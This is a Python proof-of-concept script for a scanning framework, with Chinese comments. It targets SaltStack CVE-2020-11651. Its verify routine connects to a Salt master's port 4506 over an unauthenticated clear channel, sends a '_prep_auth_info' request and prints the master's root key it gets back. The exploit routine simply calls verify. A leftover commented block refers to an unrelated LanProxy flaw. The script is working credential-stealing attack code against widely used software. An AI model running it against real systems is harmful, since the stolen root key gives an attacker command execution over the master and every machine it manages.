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vb_2021_0016_saltstack_rce_cve_2020_11651.py
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vb_2021_0016_saltstack_rce_cve_2020_11651.py
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from BasePoc import BasePoc # 导入BasePoc,是PoC脚本实现的类中必须继承的基类
from utils import tree, highlight,req # utils实现了一些常用函数,可以直接导入方便使用
import os
import sys
import salt
import salt.version
import datetime
import salt.transport.client
import salt.exceptions
POC_NAME = "SaltStack_RCE_CVE_2020_11651" # PoC脚本中实现的类名,TCC框架将根据POC_NAME去实例化类以达到调用的效果,因此类名应与该变量名保持相同
class SaltStack_RCE_CVE_2020_11651(BasePoc):
# PoC实现类,需继承BasePoc
# 为PoC填充poc_info、scan_info、test_case三个字典中的基本信息
poc_info = {
'poc': {
'Id': 'vb_2021_0016', # PoC的VID编号
'vbid': '',
'Name': 'SaltStack RCE CVE-2020-11651', # PoC名称
'Author': 'atsud0', # PoC作者
'Create_date': '2021-7-14', # PoC创建时间
},
'vul': {
'Product': 'SaltStack', # 漏洞所在产品名称
'Version': '', # 产品的版本号
'Type': 'RCE', # 漏洞类型
'Severity': 'high', # 漏洞危害等级low/medium/high/critical
'isWeb' : True, # 是否Web漏洞
'Description': '''
CVE-2020-11651
''', # 漏洞简要描述
'DisclosureDate': '2021-07-14', # PoC公布时间
}
}
# scan_info信息可以保持默认,相关参数如target/mode/verbose在TCC框架中都可以通过命令行参数设置
scan_info = {
'Target': '', # 目标网站域名
'Mode': 'verify', # verify或exploit
'Verbose': True, # 是否打印详细信息
'Error': '', # 检测失败时可用于记录相关信息
'Success': False, # 是否检出漏洞,若检出请更新该值为True
'risk_category': 'sec_vul',
'Ret': tree() # 可用于记录额外的一些信息
}
test_case = {
'Need_fb': False,
'Vuln': [], # 列表格式的测试URL
'Not_vuln': [], # 同上
}
def verify(self, first=False):
# 漏洞验证方法(mode=verify)
target = self.scan_info.get("Target", "") # 获取测试目标
verbose = self.scan_info.get("Verbose", True) # 是否打印详细信息
# 以下是PoC的检测逻辑
master_ip = target
master_port = '4506'
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': f'tcp://{master_ip}:{master_port}'
}
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
try:
resp = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
for i in resp:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
if not rootkey:
if verbose:
highlight('\nFaild to fetch the Root Key ! \n[*] CVE-2020-11651 Not Found !')
sys.exit(1)
else:
self.scan_info['Success'] = True
self.scan_info['Ret']['VerifyInfo']['URL'] = master_ip+master_port
self.scan_info['Ret']['VerifyInfo']['DATA'] = resp
if verbose:
highlight(f'[*] CVE-2020-11651 Found !\n [*] The RootKey:{rootkey}')
except Exception as e:
print(e)
highlight('\nFaild to fetch the Root Key ! \n[*] CVE-2020-11651 Not Found !')
#if 'config.admin' in location:
# self.scan_info['Success'] = True # 漏洞存在,必须将该字段更新为True(必须)
# self.scan_info['Ret']['VerifyInfo']['URL'] = url # 记录漏洞相关的一些额外信息(可选)
# self.scan_info['Ret']['VerifyInfo']['DATA'] = location
# if verbose:
# highlight('[*] LanProxy CVE-2021-3019 Found')
#else:
# if verbose:
# highlight('[*] LanProxy CVE-2021-3019 Not Found')
def exploit(self, first=False):
# 漏洞利用方法(mode=verify)
self.verify(first=first)